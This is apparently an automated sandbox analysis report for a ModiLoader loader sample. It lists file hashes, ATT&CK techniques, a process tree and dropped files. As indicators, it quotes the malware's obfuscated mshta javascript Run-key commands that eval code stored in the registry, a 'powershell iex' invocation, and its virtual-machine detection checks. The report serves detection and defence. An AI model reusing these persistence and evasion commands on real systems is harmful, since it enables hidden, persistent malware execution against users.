modiloader | 6d9d58f592af50d202d9504db5ae94bef12903d6930d9cb0b7093a6eb6de662a

General

Target

38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
Size

265KB
MD5

38bba39c2139e77f4fecf128d25d583a
SHA1

2fbc7c25b1909e4cadae63caec0b902967072b1f
SHA256

6d9d58f592af50d202d9504db5ae94bef12903d6930d9cb0b7093a6eb6de662a
SHA512

62daacb43e2e872bdbe3012432004b8ff642670e185ea534e7b32f16d06957eefb30715875beb7e6170a423c2a08015247cb12579866439908d323f5f6cd72d2
SSDEEP

6144:AAZ4m1VLp8UBoCcp2XvUU+NK4JSaXhAzRTkaUHgX:AHmXo9XbJSaXmzRXUAX

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2916 2712 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2916	2712	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 60 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2012-3-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-7-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-8-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-9-0x0000000001D00000-0x0000000001DD4000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-13-0x0000000001D00000-0x0000000001DD4000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-12-0x0000000001D00000-0x0000000001DD4000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-11-0x0000000001D00000-0x0000000001DD4000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-10-0x0000000001D00000-0x0000000001DD4000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-14-0x0000000001D00000-0x0000000001DD4000-memory.dmp	modiloader_stage2
behavioral1/memory/2012-15-0x0000000001D00000-0x0000000001DD4000-memory.dmp	modiloader_stage2
behavioral1/memory/2652-24-0x0000000006220000-0x00000000062F4000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-26-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-28-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2652-29-0x0000000006220000-0x00000000062F4000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-30-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-32-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-38-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-31-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-33-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-49-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-34-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-35-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-36-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-39-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-37-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-50-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-62-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-61-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-60-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-59-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-69-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-58-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-57-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-52-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-51-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-48-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-47-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-46-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-45-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-44-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-43-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-42-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-41-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/2836-40-0x00000000001F0000-0x000000000032E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-70-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-85-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-84-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-83-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-82-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-81-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-80-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-79-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-78-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-77-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-76-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-75-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-74-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-73-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-72-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2
behavioral1/memory/1684-71-0x00000000001D0000-0x000000000030E000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

2836 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk regsvr32.exe

pid	process
2836	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\7358d4\\e5ae70.lnk\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:GaGdRY4=\"4a\";t0C=new%20ActiveXObject(\"WScript.Shell\");NZUJDkz9F=\"uISHf\";Ith2t=t0C.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\bfow\\\\niegp\");GWIuY5oR8r=\"VUPD\";eval(Ith2t);VBIdCA2Y=\"2AbIO\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:NXtMql7T=\"c6BloMR3f\";M8D5=new%20ActiveXObject(\"WScript.Shell\");y56aIfJc=\"oV\";q7cc3y=M8D5.RegRead(\"HKCU\\\\software\\\\bfow\\\\niegp\");GqHhZ8j=\"YFK3hCn3\";eval(q7cc3y);eDYacIf4L=\"eeBQ4Jf\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2044 set thread context of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2652 set thread context of 2836	2652	powershell.exe	regsvr32.exe
PID 2836 set thread context of 1684	2836	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de\shell\open\command\ = "mshta \"javascript:h9PlvDn0=\"Ck4V2kobXM\";t5Y=new ActiveXObject(\"WScript.Shell\");fFoJDmiQ8=\"bHXGrqP\";VGZ7p=t5Y.RegRead(\"HKCU\\\\software\\\\bfow\\\\niegp\");eVlvVxX2=\"yQs\";eval(VGZ7p);dMoKi9L8g=\"m6AOhy\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\.1879f4f	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\.1879f4f\ = "2070de"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000_CLASSES\2070de	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
2652	powershell.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe
2836	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2652 powershell.exe
2836 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2652 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe

pid process

2044 38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe

description	pid	process
Token: SeDebugPrivilege	2652	powershell.exe

pid	process
2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2044 wrote to memory of 2012	2044	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe	38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
PID 2916 wrote to memory of 2652	2916	mshta.exe	powershell.exe
PID 2916 wrote to memory of 2652	2916	mshta.exe	powershell.exe
PID 2916 wrote to memory of 2652	2916	mshta.exe	powershell.exe
PID 2916 wrote to memory of 2652	2916	mshta.exe	powershell.exe
PID 2652 wrote to memory of 2836	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2836	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2836	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2836	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2836	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2836	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2836	2652	powershell.exe	regsvr32.exe
PID 2652 wrote to memory of 2836	2652	powershell.exe	regsvr32.exe
PID 2836 wrote to memory of 1684	2836	regsvr32.exe	regsvr32.exe
PID 2836 wrote to memory of 1684	2836	regsvr32.exe	regsvr32.exe
PID 2836 wrote to memory of 1684	2836	regsvr32.exe	regsvr32.exe
PID 2836 wrote to memory of 1684	2836	regsvr32.exe	regsvr32.exe
PID 2836 wrote to memory of 1684	2836	regsvr32.exe	regsvr32.exe
PID 2836 wrote to memory of 1684	2836	regsvr32.exe	regsvr32.exe
PID 2836 wrote to memory of 1684	2836	regsvr32.exe	regsvr32.exe
PID 2836 wrote to memory of 1684	2836	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2044

C:\Users\Admin\AppData\Local\Temp\38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\38bba39c2139e77f4fecf128d25d583a_JaffaCakes118.exe"
2⤵
PID:2012

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:UOR8aYBnS="oDGNeH";Aa4=new%20ActiveXObject("WScript.Shell");iSlJOg6i="W";tTM4n=Aa4.RegRead("HKLM\\software\\Wow6432Node\\7DG7pBYE\\5WI1EVB5");ubLvqsL62O="QSe";eval(tTM4n);kbFjw1BDm="zb8qUUT";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:faox
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2836

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Virtualization/Sandbox Evasion

3

T1497

Credential Access

Discovery

File and Directory Discovery

1

T1083

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

3

T1082

Virtualization/Sandbox Evasion

3

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\7358d4\2d9c5e.1879f4f
Filesize
25KB

MD5
8b5afbe6c64773491d30bc27f34142a4

SHA1
2bfe3261f94466beb4676d483f4d5d731086f648

SHA256
bdcf31abd0ae5f92ac5aaa91bd3b83bbbf932fcf16173b57537d1d113187125e

SHA512
4597c287f01c73e35dcaa163797c8630b9461a7b20a78d3af1eb65a02df3583f14cd077b218bc818baa5fb92ac96eff715b662a78aa86ea39b4265089f1f2737

Download Submit
C:\Users\Admin\AppData\Local\7358d4\6d45a7.bat
Filesize
61B

MD5
14adc766d85da95cd0990ed6bcc1524d

SHA1
e3c8f83a8fbfea658c9139d3e670d609745fb848

SHA256
0245cf83462c2d8f2453beb1094af0133caee498c1ab5147ee361cb8a449c1c4

SHA512
b4172624d668b6c1e7519cca9cbb53645ecc8b9aa1e4908801fd81983b092ed7ad26e3e29047ff5dc4e7744ee9f08dc61765133fa5957926cb4518127f4b60b8

Download Submit
C:\Users\Admin\AppData\Local\7358d4\e5ae70.lnk
Filesize
877B

MD5
bdd15a1f4ac1b4fa52a730a1ac0609a2

SHA1
449e50664aaa0ae674b60153c07de8f5f263c5dd

SHA256
384fa99bd55e424d774c7a64bc9f55a9fe7f88ca32f33602dae358ece8618e20

SHA512
9e7b9e0afda424397adf0266f6a9aefd739fbcadad388d7f0930dc51d72b8a5c6c067e7c470d769a04f9c72cb49de4f99f96f33ad8fb0d5f63d98d3a616f93d8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\94d0f9.lnk
Filesize
987B

MD5
215709b898a14b11cda4c2d0672d5c6c

SHA1
9d6ee947562b98ec3e07643ecfb1a0c0ea7736bb

SHA256
ef1ee46a5e62b3750cc60c9419923acabe74a81bb5dadc1d42973867fd6bb7f1

SHA512
1033feabcfee240d04d8d22374cb6b977da9f8308ebd6ffdb0dcd71663dbc6672547e4f596e727c94b4e75801580c0a84122eba8d32d521942f3296c21cbb16b

Download Submit
C:\Users\Admin\AppData\Roaming\e53183\8858ab.1879f4f
Filesize
3KB

MD5
b5aa9528d8be56b07f8ebce4397a17c1

SHA1
d8bf4e7ceb8efefb863bc87dba88d27a8f7b18da

SHA256
a472d6c7c65d434e1290fa8775b4cc5bcf92f8ac55c1eded8d36a47d8a34dcf8

SHA512
0398a3cf6fa9320855aa8847f533e420822b2cbf442c652fb51cca34cbd29039242320c9769b351fd40557546a84be4a0f1131ebba8f79dd519b26f8a6898999

Download Submit
memory/1684-81-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-82-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-79-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-70-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-78-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-77-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-74-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-80-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-76-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-83-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-84-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-75-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-85-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-71-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-72-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/1684-73-0x00000000001D0000-0x000000000030E000-memory.dmp

Filesize
1.2MB

Download
memory/2012-14-0x0000000001D00000-0x0000000001DD4000-memory.dmp

Filesize
848KB

Download
memory/2012-3-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2012-15-0x0000000001D00000-0x0000000001DD4000-memory.dmp

Filesize
848KB

Download
memory/2012-10-0x0000000001D00000-0x0000000001DD4000-memory.dmp

Filesize
848KB

Download
memory/2012-11-0x0000000001D00000-0x0000000001DD4000-memory.dmp

Filesize
848KB

Download
memory/2012-12-0x0000000001D00000-0x0000000001DD4000-memory.dmp

Filesize
848KB

Download
memory/2012-13-0x0000000001D00000-0x0000000001DD4000-memory.dmp

Filesize
848KB

Download
memory/2012-9-0x0000000001D00000-0x0000000001DD4000-memory.dmp

Filesize
848KB

Download
memory/2012-8-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2012-7-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2652-29-0x0000000006220000-0x00000000062F4000-memory.dmp

Filesize
848KB

Download
memory/2652-24-0x0000000006220000-0x00000000062F4000-memory.dmp

Filesize
848KB

Download
memory/2836-38-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-51-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-48-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-47-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-46-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-45-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-44-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-43-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-42-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-41-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-40-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-52-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-57-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-58-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-69-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-59-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-60-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-61-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-62-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-50-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-37-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-39-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-36-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-35-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-34-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
1.2MB

Download
memory/2836-49-0x00000000001F0000-0x000000000032E000-memory.dmp

Filesize
